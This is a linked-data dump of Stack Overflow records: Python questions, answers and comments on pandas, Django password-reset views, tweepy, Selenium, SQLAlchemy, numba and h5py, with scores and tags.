linked to: http://stackoverflow.com/q/3940128
downvote count: 5
has answer: http://stackoverflow.com/a/61878412
has title: Reverse list using for loop

http://stackoverflow.com/comment/84549276
has text: @WillemVanOnsem posted my solution, thanks for helping me
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48773674
type: QuestionComment

http://stackoverflow.com/comment/84588511
score: 0
type: Comment
has text: The question has been updated, thank you in advance
type: QuestionComment
comment on: http://stackoverflow.com/q/48792405

http://stackoverflow.com/a/49583206
upvote count: 7
answers question: http://stackoverflow.com/q/48654403
downvote count: 0
score: 7
type: Answer
has body: from numba import cuda gpu = cuda.get_current_device() print("name = %s" % gpu.name) print("maxThreadsPerBlock = %s" % str(gpu.MAX_THREADS_PER_BLOCK)) print("maxBlockDimX = %s" % str(gpu.MAX_BLOCK_DIM_X)) print("maxBlockDimY = %s" % str(gpu.MAX_BLOCK_DIM_Y)) print("maxBlockDimZ = %s" % str(gpu.MAX_BLOCK_DIM_Z)) print("maxGridDimX = %s" % str(gpu.MAX_GRID_DIM_X)) print("maxGridDimY = %s" % str(gpu.MAX_GRID_DIM_Y)) print("maxGridDimZ = %s" % str(gpu.MAX_GRID_DIM_Z)) print("maxSharedMemoryPerBlock = %s" % str(gpu.MAX_SHARED_MEMORY_PER_BLOCK)) print("asyncEngineCount = %s" % str(gpu.ASYNC_ENGINE_COUNT)) print("canMapHostMemory = %s" % str(gpu.CAN_MAP_HOST_MEMORY)) print("multiProcessorCount = %s" % str(gpu.MULTIPROCESSOR_COUNT)) print("warpSize = %s" % str(gpu.WARP_SIZE)) print("unifiedAddressing = %s" % str(gpu.UNIFIED_ADDRESSING)) print("pciBusID = %s" % str(gpu.PCI_BUS_ID)) print("pciDeviceID = %s" % str(gpu.PCI_DEVICE_ID)) These appear to be all the attributes that are currently supported. I found the list here, which matches the enum values in the CUDA docs, so extending that is fairly trivial. I added CU_DEVICE_ATTRIBUTE_TOTAL_CONSTANT_MEMORY = 9, for example, and that now works as expected. If I find time this weekend I'll try to round those out, get the docs updated, and submit a PR.

http://stackoverflow.com/comment/84482608
type: Comment
type: QuestionComment
has text: First of all, why do you use WriteToBigQuery directly after ReadFromText? ReadFromText returns PCollection of strings, which are not compatible with input of WriteToBigQuery (it expects dictionaries)
score: 0
comment on: http://stackoverflow.com/q/48741327

http://stackoverflow.com/a/48688276
type: Answer
type: AcceptedAnswer
score: 0
has body: So I put the blame on the wrong one. JSON does correctly the job. The "problem" is, that the standard precision of pandas is 6. You may change the precision by pd.set_option('precision', 10). Thank you for your comments into the right direction!
accepted answer of: http://stackoverflow.com/q/48686258
answers question: http://stackoverflow.com/q/48686258

http://stackoverflow.com/comment/84389314
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48694020
type: AnswerComment
has text: Test the `len(sizes)` and complain to your user. `parse.errror` is convenient for issuing custom messages.

http://stackoverflow.com/a/48656104
has body: You can use scikit-image: import numpy as np from skimage.draw import polygon points = [3,5,7,8,9,5] r, c = polygon(points[1::2], points[::2]) print(r, c) the output is: [5 5 5 5 5 5 6 6 6 6 7 7] [3 4 5 6 7 8 5 6 7 8 6 7]
answers question: http://stackoverflow.com/q/48654631
type: Answer
upvote count: 4
accepted answer of: http://stackoverflow.com/q/48654631
downvote count: 0
score: 4
type: AcceptedAnswer

http://stackoverflow.com/q/48735059
tagged with: python
type: AnsweredQuestion
type: Question
accepted answer: http://stackoverflow.com/a/48735630
has body: I m trying to get 10 tweets made by a user using python tweepy.The code: import tweepy consumer_key="" consumer_secret="" access_token="" access_token_secret="" #authorise access to Twitter on our behalf auth = tweepy.OAuthHandler(consumer_key, consumer_secret) auth.set_access_token(access_token, access_token_secret) api = tweepy.API(auth) usertweets=api.user_timeline(["username"],[10]) for tweet in usertweets: print (tweet.text) If i give my own username it works but for some reason i dont get only 10 tweets but all the tweets i ve done and if i give as a username any other username i get this error:404: {“errors”:[{“message”:”Sorry, that page does not exist”,”code”:34}]} The other usernames by the way exist.Also sometimes it doesnt give me an error when i use different username than mine but instead it prints my own tweets.Any idea what could be going wrong?
score: 0
answer count: 1
tagged with: tweepy
has answer: http://stackoverflow.com/a/48735630
has title: 404: {“errors”:[{“message”:”Sorry, that page does not exist”,”code”:34}]}

http://stackoverflow.com/a/48647001
has comment: http://stackoverflow.com/comment/84600841
has comment: http://stackoverflow.com/comment/84293440
has body: I am using a new para here record the condition df2['close_time']&lt;df2['open_time'] df['New']=((df.open_time-df.close_time.shift()).dt.days&gt;0).shift(-1) s=df.groupby('user').apply(lambda x : (x['value']*x['New']).cumsum().shift()).reset_index(level=0,drop=True) s.loc[~(df.New.shift()==True)]=np.nan df['Cumsum']=s df Out[1043]: user open_time close_time value New Cumsum 0 1 2017-01-01 2017-03-01 5 False NaN 1 1 2017-01-02 2017-02-01 6 True NaN 2 1 2017-02-03 2017-02-05 7 True 6 3 1 2017-02-07 2017-04-01 3 False 13 4 2 2017-01-01 2017-02-01 15 True NaN 5 2 2017-03-01 2017-04-01 3 NaN 15 Update : since op update the question (Data from Gabriel A) df['New']=df.user.map(df.groupby('user').close_time.apply(lambda x: np.array(x))) df['New1']=df.user.map(df.groupby('user').value.apply(lambda x: np.array(x))) df['New2']=[[x&gt;m for m in y] for x,y in zip(df['open_time'],df['New']) ] df['Yourtarget']=list(map(sum,df['New2']*df['New1'].values)) df.drop(['New','New1','New2'],1) Out[1376]: user open_time close_time value Yourtarget 0 1 2016-12-30 2016-12-31 1 0 1 1 2017-01-01 2017-03-01 5 1 2 1 2017-01-02 2017-02-01 6 1 3 1 2017-02-03 2017-02-05 7 7 4 1 2017-02-07 2017-04-01 3 14 5 1 2017-09-07 2017-09-11 1 22 6 2 2018-01-01 2018-02-01 15 0 7 2 2018-03-01 2018-04-01 3 15
has comment: http://stackoverflow.com/comment/84600800
has comment: http://stackoverflow.com/comment/84600864
score: 9
has comment: http://stackoverflow.com/comment/84503470
has comment: http://stackoverflow.com/comment/84600446
upvote count: 9
has comment: http://stackoverflow.com/comment/84601336
has comment: http://stackoverflow.com/comment/84600848
has comment: http://stackoverflow.com/comment/84294140
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/48646684

http://stackoverflow.com/comment/84555291
type: QuestionComment
comment on: http://stackoverflow.com/q/48776588
score: 1
has text: @usr2564301: I agree that there are many options, which is why I think this is a low quality question. There are a gazillion similar examples all of the internet of taking one list and converting it to another. The OP didn't even try.
type: Comment

http://stackoverflow.com/a/48790958
downvote count: 0
has comment: http://stackoverflow.com/comment/84584858
has comment: http://stackoverflow.com/comment/84585191
type: Answer
has comment: http://stackoverflow.com/comment/84585065
score: 1
has body: You get it because you are no longer using compound assignment rather assignment. Each time you get to cleanedNumber = number[i] you are assigning it a new value. It appears you wish to just get the number from the string. Since you are changing the type to int at the end, you also do not care about decimal places otherwise you would call float. Given these assumptions, why not just do: number = "9,223,372,036,854,775,807" cleanedNumber = int(''.join(number.split(','))) print("The number is {}".format(cleanedNumber)) Otherwise, the changes you would need are: number = "9,223,372,036,854,775,807" cleanedNumber = '' for char in number: # just iterate over the string if char.isdigit(): cleanedNumber += char cleanedNumber = int(cleanedNumber) print("The number is {}".format(cleanedNumber))
upvote count: 1
answers question: http://stackoverflow.com/q/48790099

http://stackoverflow.com/q/48729812
linked to: http://stackoverflow.com/q/35445845
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/48730677
has answer: http://stackoverflow.com/a/48730163
type: Question
answer count: 1
has body: I have been having trouble creating a system for resetting passwords using email. I encountered a problem yesterday which I was unable to solve: NoReverseMatch error with password reset emails After reading some of the relevant docs, I tried to replace the views with the class-based equivalents introduced in 1.11 as below: urls.py: from django.contrib.auth import views as auth_views urlpatterns = [ url(r'^$', auth_views.login, name='login'), url(r'^logout/$', auth_views.logout, name='logout'), ## more irrelevant urls here ## url(r'^password/reset/done/$', auth_views.PasswordResetDoneView, name='password_reset_done'), url(r'^password/reset/$', auth_views.PasswordResetView, name='password_reset'), url(r'^password/reset/(?P&lt;uidb64&gt;[0-9A-Za-z_\-]+)/(?P&lt;token&gt;[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$', auth_views.PasswordResetConfirmView, name='password_reset_confirm'), url(r'^password/reset/complete/$', auth_views.PasswordResetCompleteView, name='password_reset_complete'), ] This has introduced a new error which is not very helpful: Internal Server Error: /password/reset/ Traceback (most recent call last): File "C:\python\lib\site-packages\django\core\handlers\exception.py", line 41, in inner response = get_response(request) File "C:\python\lib\site-packages\django\core\handlers\base.py", line 187, in _get_response response = self.process_exception_by_middleware(e, request) File "C:\python\lib\site-packages\django\core\handlers\base.py", line 185, in _get_response response = wrapped_callback(request, *callback_args, **callback_kwargs) TypeError: __init__() takes 1 positional argument but 2 were given [11/Feb/2018 12:35:38] "GET /password/reset/ HTTP/1.1" 500 62168 How can I get my system working?
score: 0
accepted answer: http://stackoverflow.com/a/48730163
tagged with: forgot-password
has title: Error with system for email password resets
tagged with: django
tagged with: python
linked to: http://stackoverflow.com/q/48720943

http://stackoverflow.com/q/48679480
linked to: http://stackoverflow.com/q/10087819
upvote count: 1
type: Question
has body: I'm working on a webapp that has a Javascript front-end that talks JSON with a python (flask) middle and a postgres backend. I'd like to safely represent timestamps without loss, ambiguity or bugs. Python itself doesn't generate any timestamps, but it translates them between the client and the DB, which is where bugs can happen. Javascript' lack of long means that sensible long-count-since-epoch-everywhere is lossy when stored as Javascript's number, and so iso datetime strings are the most least-unnatural format between the client and server. For example, from python, we can generate: &gt;&gt;&gt; datetime.fromtimestamp(time.time(), pytz.utc).isoformat() '2018-02-08T05:42:48.866188+00:00' Which can be unambiguously interpreted in the whole stack without loss of precision, whether or not the timezone offset is non-zero (as it may be coming from the client). However, between python and the database, things get a little tricky. I'm concerned with preventing timezone unaware datetimes creeping into Python-land and then into the database. For example, a client in China may send JSON to the flask server in California with a string: '2018-02-07T21:46:33.250477' ... which we many parse as a timezone-unaware ISO datetime. Because this is an ambiguous time, the ONLY sensible thing to do it to reject it as an error. But where? I could manually write validation for each field received to Python, but with a large datamodel, it's easy to miss a field. As I understand it, at the DB-schema level, it doesn't matter too much whether columns are declared timestamp or timestampz provided the queries always (ALWAYS) come with TZ information, they're unambiguously converted UTC for both types. However, as far as I know I don't think its possible for postgres to prevent you putting a timezone-less datetime or time-string into timestampz columns. Two possibilities come to mind: Could the flask JSON parser reliably detect iso dates without timezones and reject them? I could leave the times…
has comment: http://stackoverflow.com/comment/84374919
has title: Forcing datetime unaware timestamps in/out of DB queries (Javascript, Flask, Postgres, stack)
tagged with: flask
tagged with: postgresql
has comment: http://stackoverflow.com/comment/84356299
downvote count: 0
favorite count: 0
type: UnansweredQuestion
tagged with: python
tagged with: psycopg2
answer count: 0
score: 1

http://stackoverflow.com/a/48693314
has body: 1) You can return the modified value like: def test(): a = 0 a+=1 return a def test2(a): a+=1 print (a) inp = input('a?') if inp == 'a': a = test() test2(a) 2) Or you can use a class: class TestClass: a = 0 def test(self): self.a = 0 self.a+=1 def test2(self): self.a+=1 print (self.a) Usage of option 2: &gt;&gt;&gt; example = TestClass() &gt;&gt;&gt; example.test() &gt;&gt;&gt; example.test2() 2
downvote count: 0
answers question: http://stackoverflow.com/q/48693201
has comment: http://stackoverflow.com/comment/84388577
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/comment/84533796
has text: Am using this code **s = df.groupby(['MALE', 'GENDER'])['rating'].apply(lambda x: x.value_counts().index[0])** to get the top most frequent as my index is 0. As I need 2nd top most also, I have set the index to 1. But in my data I dont have the second top most frequent It throwed me an error. how to handle it ?
comment on: http://stackoverflow.com/a/48680999
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/84293854
score: 0
type: QuestionComment
type: Comment
has text: That makes no sense. why would you have a tuple in a tuple. You could use a dict.
comment on: http://stackoverflow.com/q/48648046

http://stackoverflow.com/comment/84316310
type: QuestionComment
has text: $ python exceltosql.py exceltosql.py:26: DeprecationWarning: Call to deprecated function get_sheet_names (Use wb.sheetnames). sheets = wb.get_sheet_names()
comment on: http://stackoverflow.com/q/48659352
score: 0
type: Comment

http://stackoverflow.com/a/48702382
score: 1
type: Answer
has body: With re.search() function: import re with open('list.txt') as f: result = [] pat = re.compile(r'Bid=([^,]+),Bts=(\d+),VAL=([^\s]+)') for r in f: result.append(list(pat.search(r).groups())) print(result) The ouptut: [['B2', '3', '-90'], ['B2', '4', '-91'], ['B2', '5', '-92'], ['B2', '5', '-92'], ['B2', '6', '-91'], ['B2', '7', '-77'], ['B2', '7', '-82'], ['B2', '8', '-88']] https://docs.python.org/3/library/re.html#re.regex.search
upvote count: 1
answers question: http://stackoverflow.com/q/48702189
downvote count: 0

http://stackoverflow.com/q/48743971
has comment: http://stackoverflow.com/comment/84489278
has answer: http://stackoverflow.com/a/48744329
has body: For example, suppose I have a string "beabeefeab". I want to extract a substring which is composed of only 'b' and 'a' that is "babab". I applied brute force by implementing a nested loop and deleting all characters but 'b' and 'a'
has answer: http://stackoverflow.com/a/48745797
has answer: http://stackoverflow.com/a/48744026
answer count: 3
has comment: http://stackoverflow.com/comment/84487843
downvote count: 4
upvote count: 0
type: UnansweredQuestion
tagged with: string
score: -4
has title: How do i extract a sub string which is composed of certain characters from a string in python?
tagged with: python
favorite count: 0
tagged with: python-3.x
type: Question
has comment: http://stackoverflow.com/comment/84488487

http://stackoverflow.com/comment/84514429
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48727380
has text: I have my own training portal. Go to codecoaching.ninja and use the contact form to say hi. I'll sign you up for a free account.

http://stackoverflow.com/comment/84438901
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48708073
type: QuestionComment
has text: Thank you. I suppose this applies to the function imfilter from Matlab. But where is the center of the Kernel in TensorFlow?

http://stackoverflow.com/q/48675883
has answer: http://stackoverflow.com/a/49041548
score: 0
answer count: 1
tagged with: pyttsx
tagged with: pycharm
type: UnansweredQuestion
tagged with: python
has body: I am wondering if I can use pyttsx with PyCharm. I have installed it via terminal and it works in the terminal python shell. I have tried, though Im not sure this is the correct way, but going into PyCharm/Preferences and gone to project interpreter, clicked + and searched for pyttsx, then downloaded and tried, with no luck. I need this to work the same as terminal in PyCharm. If you can tell me how to do this in IDLE, that would be ok to, but not ideal. I am using the latest IDLE (3.6.4) and PyCharm build #PC-153.4301.16. I am looking for this to work with python. I have looked around the internet and have found nothing. Here is a snippet of what I am trying to do: import pyttsx engine = pyttsx.init() engine.say('Good morning.') engine.runAndWait() I have looked on other stack overflow pages, none of witch have helped. I have also looked on the PyCharm website.
has title: pyttsx setup on pycharm
type: Question

http://stackoverflow.com/a/48781192
has comment: http://stackoverflow.com/comment/84564078
answers question: http://stackoverflow.com/q/48781055
has comment: http://stackoverflow.com/comment/84576794
has comment: http://stackoverflow.com/comment/84577951
has comment: http://stackoverflow.com/comment/84565185
score: 0
has body: You can make a list of tuples For example lst = [(18, 'Pass'), (19, 'Fail')] You can access the values as lst[1] --&gt; (19, 'Fail') lst[1][0] --&gt; 19 lst[1][1] --&gt; 'Fail' Please Note: Tuples are immutable, so cannot add new elements Merging of tuples with the + operator you can add an element and it will create a new tuple You can read more about this over here
has comment: http://stackoverflow.com/comment/84563949
type: Answer

http://stackoverflow.com/a/48738181
downvote count: 0
has body: Short Answer: heapq.nlargest(2, heap_arr) returns [(3, 'd'), (3, 'c')] because In [6]: (3, 'd') &gt; (3, 'c') Out[6]: True heapq.nlargest(2, heap_arr, key=lambda a: a[0]) returns [(3, 'c'), (3, 'd')] because heapq, like sorted, uses a stable sorting algorithm. Since the keys match (at the value 3) the stable sort returns the items in the order in which they appear in heap_arr: In [8]: heapq.nlargest(2, [(3, 'c'), (3, 'd')], key=lambda a: a[0]) Out[8]: [(3, 'c'), (3, 'd')] In [9]: heapq.nlargest(2, [(3, 'd'), (3, 'c')], key=lambda a: a[0]) Out[9]: [(3, 'd'), (3, 'c')] Longer Answer: Per the docs, heapq.nlargest(n, iterable, key) is equivalent to sorted(iterable, key=key, reverse=True)[:n] (though heapq.nlargest computes its result in a different way). Nevertheless, we can use this equivalency to check that heapq.nlargest is behaving as we should expect: import heapq heap_arr = [(1, 'a'), (2, 'b'), (2, 'b'), (3, 'c'), (3, 'd')] assert heapq.nlargest(2, heap_arr) == sorted(heap_arr, reverse=True)[:2] assert heapq.nlargest(2, heap_arr, key=lambda a: a[0]) == sorted(heap_arr, key=lambda a: a[0], reverse=True)[:2] So if you accept this equivalency, then you merely have to confirm the validity of In [47]: sorted(heap_arr, reverse=True) Out[47]: [(3, 'd'), (3, 'c'), (2, 'b'), (2, 'b'), (1, 'a')] In [48]: sorted(heap_arr, key=lambda a: a[0], reverse=True) Out[48]: [(3, 'c'), (3, 'd'), (2, 'b'), (2, 'b'), (1, 'a')] When using key=lambda a: a[0], (3, 'c'), (3, 'd') are sorted according to the same key value, 3. Because Python's sort is stable, two items with equals keys (e.g. (3, 'c') and (3, 'd')) appear in the result in the same order as they appear in heap_arr. Even longer answer: To understand what is really going on under the hood, you could use a debugger or simply copy the code for heapq into a file and use print statements to study how the heap -- that is, the variable result -- changes as the elements in the iterable are examined and possibly pushed onto the heap. Run…
answers question: http://stackoverflow.com/q/48738024
score: 4
type: Answer
upvote count: 4

http://stackoverflow.com/comment/84480796
type: QuestionComment
comment on: http://stackoverflow.com/q/48740563
has text: if it s a numerical value after `replace('^[^\d]*', '')` we can convert it to int, else I want just `''`
score: 0
type: Comment

http://stackoverflow.com/a/48747212
answers question: http://stackoverflow.com/q/48746812
type: Answer
has comment: http://stackoverflow.com/comment/84494619
has body: You can use lookahead expression and search for matches between &lt;date1&gt; (included) and &lt;date2&gt; (excluded) structures. In your case every log record starts with a &lt;date&gt; structure. You also need to remove $ since it matches new line in case of re.MULTILINE. EDIT You can do even better. Run line-by-line, as soon as you find a &lt;date&gt; structure. Start to collect a new log record till you will observe a new &lt;date&gt; structure. Concatenate log lines related to one record and do your regex. Move to the next record.
score: 0
has comment: http://stackoverflow.com/comment/84494834

http://stackoverflow.com/comment/100168663
score: 2
has text: one point to note here is that the task remains in None state (not scheduled) when the task_instance for which depends_on_past is true and the task in previous schedule of the *scheduled dags* (schedule_interval is not None) is not successful. Depends on Past does not work on triggred DAGs
type: AnswerComment
comment on: http://stackoverflow.com/a/52835084
type: Comment

http://stackoverflow.com/q/48713284
has answer: http://stackoverflow.com/a/48715915
has title: How to work out how many models GridSearchCV will train?
type: Question
answer count: 2
tagged with: grid-search
has comment: http://stackoverflow.com/comment/84485035
upvote count: 3
has answer: http://stackoverflow.com/a/54398568
downvote count: 1
tagged with: scikit-learn
favorite count: 0
type: UnansweredQuestion
tagged with: python
score: 2
has body: How do you work out how many models SKLearn's GridSearchCV will train? In my case I am using the following parameters: learning_rate_range = [0.01, 0.05, 0.1] max_depth_range = [3, 4, 5, 6, 7] min_child_weight_range = [6, 7, 8] subsample_range = [0.6, 0.7, 0.8, 0.9] colsample_range = [0.7, 0.8, 0.9] If, for example, you are using 3-fold cross-validation, how many models will be trained in total, and what is the general method used to work this out?

pagination
tags question: http://stackoverflow.com/q/48653978
tags question: http://stackoverflow.com/q/48678499
tag name: pagination
tags question: http://stackoverflow.com/q/48757314
type: Tag

http://stackoverflow.com/comment/84436239
type: Comment
score: 2
has text: not that calling `next(Class)` increments the class id as well (could be undesirable)
type: AnswerComment
comment on: http://stackoverflow.com/a/48718289

http://stackoverflow.com/q/48704575
tagged with: python
has body: The error /usr/bin/ld: cannot find -lpython2.7 shows up, when installing the http-parser package using pip. /opt/bitnami/python/include/python2.7 is present at that path. There's a lot of debugging output, but the problem appears to be the missing library. If so, then how to fix it? Full output: $ pip install http-parser Collecting http-parser Using cached http-parser-0.8.3.tar.gz Building wheels for collected packages: http-parser Running setup.py bdist_wheel for http-parser ... error Complete output from command /opt/bitnami/python/bin/python -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-PF6NIJ/http-parser/setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" bdist_wheel -d /tmp/tmplt4SwWpip-wheel- --python-tag cp27: running bdist_wheel running build running build_py creating build creating build/lib.linux-x86_64-2.7 creating build/lib.linux-x86_64-2.7/http_parser copying http_parser/pyparser.py -&gt; build/lib.linux-x86_64-2.7/http_parser copying http_parser/__init__.py -&gt; build/lib.linux-x86_64-2.7/http_parser copying http_parser/http.py -&gt; build/lib.linux-x86_64-2.7/http_parser copying http_parser/_socketio.py -&gt; build/lib.linux-x86_64-2.7/http_parser copying http_parser/reader.py -&gt; build/lib.linux-x86_64-2.7/http_parser copying http_parser/util.py -&gt; build/lib.linux-x86_64-2.7/http_parser running build_ext building 'http_parser.parser' extension creating build/temp.linux-x86_64-2.7 creating build/temp.linux-x86_64-2.7/http_parser gcc -pthread -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -I/opt/bitnami/common/include/ImageMagick -I/opt/bitnami/common/include -I/opt/bitnami/common/include/ImageMagick -I/opt/bitnami/common/include -fPIC -Iparser -I/opt/bitnami/python/include/python2.7 -c http_parser/http_parser.c -o build/temp.linux-x86_64-2.7/http_parser/http_parser.o gcc -pthread -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -I/opt/bitnami/common/include/ImageMag…
accepted answer: http://stackoverflow.com/a/48706307
type: AnsweredQuestion
tagged with: ld
has title: python2.7 library not found while installing http-parser
type: Question
tagged with: gcc
tagged with: python-2.7
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84410732
has answer: http://stackoverflow.com/a/48706307
tagged with: pip

http://stackoverflow.com/q/48749816
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/48749881
has title: How to convert enumerate objects to set and tuple in python?
score: -1
has answer: http://stackoverflow.com/a/48750114
has answer: http://stackoverflow.com/a/48749888
upvote count: 0
has answer: http://stackoverflow.com/a/48749918
favorite count: 0
has comment: http://stackoverflow.com/comment/84499995
type: UnansweredQuestion
tagged with: python
answer count: 4
has body: How to convert enumerate objects to set and tuple in python? grocery = ['bread', 'milk', 'butter'] enumerateGrocery = enumerate(grocery) print(type(enumerateGrocery)) print(set(enumerateGrocery)) # returning set() print(tuple(enumerateGrocery))# returning () Excepted output:- {(0, 'bread'), (1, 'milk'), (2, 'butter')} ((0, 'bread'), (1, 'milk'), (2, 'butter'))

http://stackoverflow.com/q/48649108
has comment: http://stackoverflow.com/comment/84295885
tagged with: dataframe
has title: Pandas: reshape Dataframe to condense multiple columns into single row value
tagged with: pandas
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/48649594
favorite count: 0
accepted answer: http://stackoverflow.com/a/48649594
tagged with: reshape
tagged with: python
has comment: http://stackoverflow.com/comment/84296219
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/84296110
upvote count: 1
type: Question
has body: I have the following data-frame pointId april august december february \ 0 307 None None None NaN 1 307 None None None NaN 2 307 None None None NaN 3 307 None None None 0.88 4 307 None None None 0.60 january july june march may november october september year 0 NaN None None NaN None None None None 2014 1 NaN None None NaN None None None None 2015 2 NaN None None NaN None None None None 2016 3 0.7 None None 1.1 None None None None 2017 4 0.5 None None NaN None None None None 2018 It essentially has some values in the month column for a given year for a particular pointId I need to reshape it so that I condense the 12 columns into one date column. This column will have the last date of the month for a given value. So I need to add a row for given value in the months column. The resultant dataframe should look like this: pointId Date Value 0 307 01/31/2017 0.7 1 307 02/28/2017 0.88 2 307 03/31/2017 1.1 3 307 01/31/2018 0.5 4 686307 02/28/2018 0.6 As usual, thanks for all our help. I wouldn't get by at work without SO :)

http://stackoverflow.com/a/48651026
has body: you are confusing the names , your x should be y and vice versa Y= pima.iloc[:,-1] X = pima.iloc[:,:-1]
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/48650933
downvote count: 0
score: 1

http://stackoverflow.com/comment/84564082
type: Comment
type: QuestionComment
has text: Okay, try it and notify me with the result
score: 0
comment on: http://stackoverflow.com/q/48780201

http://stackoverflow.com/comment/84426382
has text: maybe windowsBuilder.py is also buffering its output... you could try to add "sys.stdout.flush() after printing each line
type: Comment
comment on: http://stackoverflow.com/a/48712925
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84394204
type: Comment
has text: @le-dumbass could you mark the answer if correct if it is what you need? thanks!!
type: AnswerComment
comment on: http://stackoverflow.com/a/48697374
score: 0

http://stackoverflow.com/comment/84391163
score: 0
has text: I'm a little confused. My kde is a function of theta and phi. I don't see why the kernel needs to take into account the non-flat surface, as the spherical surface is not really relevant in creating the kde; it's just a property of my data. Can you explain how you would randomly sample from such a distribution? (and thanks, I think it's a good problem too!)
type: Comment
comment on: http://stackoverflow.com/a/48676209
type: AnswerComment

http://stackoverflow.com/comment/84519652
score: 0
type: Comment
type: QuestionComment
has text: You just need to add `__init__.py` files at each level you import from/to. This is a standard for python's Distribution Packages.
comment on: http://stackoverflow.com/q/48759465

http://stackoverflow.com/q/48774422
has comment: http://stackoverflow.com/comment/84550534
accepted answer: http://stackoverflow.com/a/48775840
type: Question
tagged with: sendkeys
score: 0
has comment: http://stackoverflow.com/comment/84550631
has comment: http://stackoverflow.com/comment/84552201
upvote count: 1
answer count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/48775840
favorite count: 0
has comment: http://stackoverflow.com/comment/84550447
has title: Send Keys Not Working In Selenium With Python?
has comment: http://stackoverflow.com/comment/84551394
tagged with: python
has comment: http://stackoverflow.com/comment/84550691
has comment: http://stackoverflow.com/comment/84552934
tagged with: selenium-webdriver
has body: I am trying to send keys to an element but it is not working. Element looks like this. Unable to send keys to all three. Below is the code: input id="creditCardNumber" name="creditCardNumber" type="tel" tabindex="1" data-shortname="cc" maxlength="24" class="cc-input ncss-input pt2-sm prl4-sm prl5-md pb2-sm" placeholder="Number" onautocomplete="off" value="" I was using this to send keys: driver.find_element_by_xpath('//*[@id="creditCardNumber"]').send_keys('0000') driver.find_element_by_xpath('//input[@placeholder="Number"]').send_keys('0000') Gives me an error as if element is not available, although I use a long enough time.sleep. Error Received: driver.find_element_by_xpath('//input[@placeholder="Number"]').send_keys('0000') File "/Library/Python/2.7/site-packages/selenium/webdriver/remote/webdriver.py", line 293, in find_element_by_xpath return self.find_element(by=By.XPATH, value=xpath) File "/Library/Python/2.7/site-packages/selenium/webdriver/remote/webdriver.py", line 752, in find_element 'value': value})['value'] File "/Library/Python/2.7/site-packages/selenium/webdriver/remote/webdriver.py", line 236, in execute self.error_handler.check_response(response) File "/Library/Python/2.7/site-packages/selenium/webdriver/remote/errorhandler.py", line 192, in check_response raise exception_class(message, screen, stacktrace) selenium.common.exceptions.NoSuchElementException: Message: no such element: Unable to locate element: {"method":"xpath","selector":"//input[@placeholder="Number"]"} (Session info: chrome=64.0.3282.140) (Driver info: chromedriver=2.35.528157 (4429ca2590d6988c0745c24c8858745aaaec01ef),platform=Mac OS X 10.12.2 x86_64)
has comment: http://stackoverflow.com/comment/84552760
has comment: http://stackoverflow.com/comment/84551834
tagged with: selenium
has comment: http://stackoverflow.com/comment/84550500
has comment: http://stackoverflow.com/comment/84551354
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84552858

http://stackoverflow.com/comment/84419169
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48709775
has text: Thank you. I get the answer. Yep, the database is wrong. I am just trying to salvage whatever I can while waiting for the database to be updated.
score: 0

http://stackoverflow.com/a/48763077
has comment: http://stackoverflow.com/comment/84526624
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48682093
has body: Use one of the below code format to create engine from sqlalchemy import create_engine # default engine = create_engine('mysql://scott:tiger@localhost/foo') # mysql-python engine = create_engine('mysql+mysqldb://scott:tiger@localhost/foo') # MySQL-connector-python engine = create_engine('mysql+mysqlconnector://scott:tiger@localhost/foo') # OurSQL engine = create_engine('mysql+oursql://scott:tiger@localhost/foo') # query connection = engine.connect() result = connection.execute("select username from users") database name = foo, username = scott, password = tiger, host = localhost Reference: http://docs.sqlalchemy.org/en/latest/dialects/mysql.html

http://stackoverflow.com/q/48672130
has title: Saving to hdf5 is very slow (Python freezing)
downvote count: 0
linked to: http://stackoverflow.com/q/30329726
tagged with: keras
accepted answer: http://stackoverflow.com/a/48997927
has comment: http://stackoverflow.com/comment/84380060
upvote count: 3
has answer: http://stackoverflow.com/a/49080662
linked to: http://stackoverflow.com/q/48385256
answer count: 3
has answer: http://stackoverflow.com/a/57106443
linked to: http://stackoverflow.com/q/48842596
tagged with: python
has answer: http://stackoverflow.com/a/48997927
favorite count: 0
has body: I'm trying to save bottleneck values to a newly created hdf5 file. The bottleneck values come in batches of shape (120,10,10, 2048). Saving one alone batch is taking up more than 16 gigs and python seems to be freezing at that one batch. Based on recent findings (see update, it seems hdf5 taking up large memory is okay, but the freezing part seems to be a glitch. I'm only trying to save the first 2 batches for test purposes and only the training data set (once again,this is a test run), but I can't even get past the first batch. It just stalls at the first batch and doesn't loop to the next iteration. If I try to check the hdf5, explorer will get sluggish, and Python will freeze. If I try to kill Python (even with out checking hdf5 file), Python doesn't close properly and it forces a restart. Here is the relevant code and data: Total data points are about 90,000 ish, released in batches of 120. Bottleneck shape is (120,10,10,2048) So the first batch I'm trying to save is (120,10,10,2048) Here is how I tried to save the dataset: with h5py.File(hdf5_path, mode='w') as hdf5: hdf5.create_dataset("train_bottle", train_shape, np.float32) hdf5.create_dataset("train_labels", (len(train.filenames), params['bottle_labels']),np.uint8) hdf5.create_dataset("validation_bottle", validation_shape, np.float32) hdf5.create_dataset("validation_labels", (len(valid.filenames),params['bottle_labels']),np.uint8) #this first part above works fine current_iteration = 0 print('created_datasets') for x, y in train: number_of_examples = len(train.filenames) # number of images prediction = model.predict(x) labels = y print(prediction.shape) # (120,10,10,2048) print(y.shape) # (120, 12) 